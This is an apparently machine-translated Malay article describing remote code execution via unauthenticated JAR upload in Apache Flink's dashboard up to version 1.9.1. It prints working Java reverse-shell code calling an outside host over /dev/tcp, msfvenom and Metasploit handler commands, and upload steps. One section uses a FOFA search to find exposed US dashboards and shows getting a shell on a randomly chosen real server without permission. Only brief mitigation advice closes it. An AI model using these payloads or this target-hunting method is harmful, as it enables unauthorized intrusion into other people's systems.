Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink

WBOY
WBOYke hadapan
2023-05-15 13:01:131644semak imbas

Perihalan kerentanan:

Pada 11 November 2019, jurutera keselamatan Henry Chen mendedahkan kelemahan yang membolehkan Apache Flink memuat naik pakej balang tanpa kebenaran, yang membawa kepada pelaksanaan kod jauh. Memandangkan Papan Pemuka Apache Flink boleh diakses tanpa pengesahan secara lalai, shell boleh diperolehi dengan memuat naik pakej balang berniat jahat dan mencetuskan pelaksanaan kod berniat jahat.

Skop pengaruh

<= 1.9.1 (versi terkini)

Persediaan persekitaran:

(1) Pasang terlebih dahulu Java yang baik (memerlukan java8 atau lebih tinggi)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Muat turun flink-1.9.1

Alamat muat turun: https://www.apache .org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) Nyahzip pakej termampat yang dimuat turun:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz

( 4) Pergi ke direktori nyahmampat dan pergi ke direktori binnya:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) Mulakan kelipan:

./start-cluster.sh

(6) Akses Penyemak Imbas pengesahan (port lalai ialah 8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

Gambar di atas muncul dan pembinaannya berjaya.

(7) Sediakan automula semasa but (Saya telah lama bergelut di sini, tetapi saya tidak boleh bangun. Sumber langsung /etc/rc.d/rc.local boleh bermula, tetapi flink tidak akan dimulakan selepas dimulakan semula, dan akhirnya menemui penyelesaian)

apache flink任意jar包上传导致远程代码执行的示例分析

Tetapan automula semasa but

Ulangan kerentanan:

Langkah pengeluaran pakej jar:

( 1) Rujuk artikel https://klionsec.github.io/2016/09/27/revese-shell/#menu untuk menggunakan java untuk melantun semula shell

apache flink任意jar包上传导致远程代码执行的示例分析

dan ingat untuk mengubah suai ip dan portnya:

apache flink任意jar包上传导致远程代码执行的示例分析

Kod:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b. Kemudian pilih java-->Fail JAR boleh dijalankan</p>
<p><img src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>c. Kemudian pilih projek java dan laluan eksport dan nama fail eksport </p> <p><img src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>Gambar</p>
<p>Ini menjana pakej balang untuk shell lantunan</p>
<p>msf menjana kuda balang:</p>
<p>(1) Gunakan msfvenom untuk jana kuda balang:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar

(2) Buka modul mendengar msf, dan dengarkan port 9999 (untuk konsisten dengan port yang ditetapkan oleh kuda balang kami)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit


(3) Selepas memuat naik kuda balang yang kami hasilkan dan menyerahkannya (ini Sila rujuk pembiakan di bawah untuk beberapa operasi Anda boleh melihat bahawa kami berjaya menerima cengkerang: apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

Penghasilan semula tempatan:

(1) Sasaran Lawati:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar kerja Baharu untuk membuka halaman untuk memuat naik pakej balang:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Klik Tambah Baharu untuk memilih pakej balang yang kami buat:

apache flink任意jar包上传导致远程代码执行的示例分析

( 4) Pantau port pada mesin kami (pakej balang yang kami buat terus melantunkan shell)

(5) Klik pada pakej balang yang baru kami muat naik:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) Kemudian klik Hantar, anda dapat melihat bahawa kami telah berjaya menerima shell:

apache flink任意jar包上传导致远程代码执行的示例分析

Tapak Internet:

kata kunci fofa:

"apache-flink-dashboard" && country="AS"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) Cari sasaran rawak:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) Klik Hantar Kerja baharu, anda boleh lihat ia membenarkan kami memuat naik pakej balang

apache flink任意jar包上传导致远程代码执行的示例分析

(3) Gunakan fungsi flink untuk memuat naik pakej balang untuk memuat naik pakej balang kami:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) Selepas memuat naik, kami Pantau port pada vps

(5) Kemudian kembali ke penyemak imbas, pilih pakej balang yang baru kami muat naik, dan klik Serah Anda dapat melihat bahawa vps kami telah berjaya menerima shell

apache flink任意jar包上传导致远程代码执行的示例分析

Pembetulan kerentanan:

Adalah disyorkan untuk menetapkan dasar tembok api untuk hanya membenarkan IP senarai putih mengakses perkhidmatan apache flink dan menambahkannya pada proksi web ( seperti apache httpd) Pengesahan ringkasan perkhidmatan.

Sentiasa perhatikan laman web rasmi dan tunggu versi baharu atau kemas kini tampalan

Atas ialah kandungan terperinci Contoh analisis pelaksanaan kod jauh yang disebabkan oleh memuat naik sebarang pakej jar dalam apache flink. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam
Artikel sebelumnya:Cara menggunakan Smarty SSTiArtikel seterusnya:Cara menggunakan Smarty SSTi